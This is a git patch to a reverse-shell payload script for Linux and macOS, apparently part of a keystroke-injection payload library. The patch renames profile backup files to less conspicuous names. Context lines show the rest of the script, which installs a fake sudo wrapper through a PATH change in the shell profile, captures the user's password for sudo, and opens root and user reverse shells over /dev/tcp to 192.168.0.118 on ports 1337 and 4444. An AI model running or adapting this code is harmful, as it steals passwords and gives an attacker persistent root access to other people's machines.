From faa24a329df2d36d23787a9d8bfa9e0092c04a0f Mon Sep 17 00:00:00 2001 From: Darkprince <30362337+sridharas04@users.noreply.github.com> Date: Sat, 16 May 2020 20:02:21 +0530 Subject: [PATCH] Minor payload changes. --- .../remote_access/Root_Reverse_Shell_linux_mac/payload.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.sh b/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.sh index 8ce02260..60895f5a 100644 --- a/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.sh +++ b/payloads/library/remote_access/Root_Reverse_Shell_linux_mac/payload.sh @@ -31,10 +31,10 @@ else if [ -f ~/.bash_profile ] then rm ~/.bash_profile - mv ~/.darkbash ~/.bash_profile + mv ~/.bash_profile.bak ~/.bash_profile else rm ~/.bashrc - mv ~/.darkbashrc ~/.bashrc + mv ~/.bashrc.bak ~/.bashrc fi rm ~/.config/sudo/sudo echo "$pwd" | sudo -S disown !$ $(sudo /bin/bash -i > /dev/tcp/192.168.0.118/1337 0<&1 2>&1) & @@ -45,10 +45,10 @@ EOF chmod u+x ~/.config/sudo/sudo if [ -f ~/.bash_profile ] then - cp ~/.bash_profile ~/.darkbash + cp ~/.bash_profile ~/.bash_profile.bak echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile else - cp ~/.bashrc ~/.darkbashrc + cp ~/.bashrc ~/.bashrc.bak echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc fi disown !$ $(/bin/bash -i > /dev/tcp/192.168.0.118/4444 0<&1 2>&1) &